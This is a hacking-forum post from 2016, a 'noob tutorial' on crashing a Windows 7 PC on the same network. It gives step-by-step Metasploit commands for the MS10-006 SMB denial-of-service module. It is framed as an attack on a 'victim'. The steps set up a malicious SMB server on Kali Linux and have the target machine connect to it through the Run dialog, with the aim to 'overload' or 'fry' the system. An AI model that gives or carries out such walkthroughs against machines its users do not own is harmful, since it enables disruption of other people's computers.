

Forum:[Hack Forums](#)

Thread: [Crash A Windows 7 PC on your Network \(Kali Linux\)\(NOOB TUT\)](#)

Entrace - June 14, 2016, 8:50 pm

If you or...(idk ur room m8) is missing the patch for Windows 7-" Expand Microsoft Security Bulletin MS10-006 - Critical Vulnerabilities in SMB Client Could Allow Remote Code Execution (978251)" or is just running a Unpatched Version of Windows 7, well you're in luck because this means that they are vulnerable to;"Expand Microsoft Security Bulletin MS10-006 -Critical Vulnerabilities in SMB Client Could Allow Remote Code Execution (978251)". (Sure its a patch from 2010, but hey better than Windows XP right?)

Anyway, if you're still with me, the exploit "MS10-006" actually uses "Server Message Block" or "SMB" (SMB is used to transfer files across platforms and stuff). SO, we can basically use it to overload a system and in some cases completely fry it. (Don't try this at school kids)

Requirements:

Attacker Machine: Kali Linux

Victim : Windows 7

SAME NETWORK

1.Fire up Kali off that bootable usb drive you made awhile ago.

2.Now type the infamous "msfconsole" in your Kali Terminal.

3.Once loaded, type the following into the console "use auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop"

4.Next type "set SRVHOST IP" *With "IP" being the IP address of your Kali Linux machine. (Open another terminal and type "ifconfig" if you don't know it ;)

5.Great you have set up the server now just type "run" to start it.

6.However your victim still needs to run the server, on the victim PC hit the run keys. [i](Win + R). Now in the box type the IP address of the server on Kali. *Yes the same one you used earlier

Nice! Now you're moving up in the world. What you've just done is known as a DOS attack, or "Denial Of Service" not to be confused with a DDOS "Distributed Denial Of Service". Only difference is one of them is from one machine and the other is from multiple! - Good luck on your travels--traveler.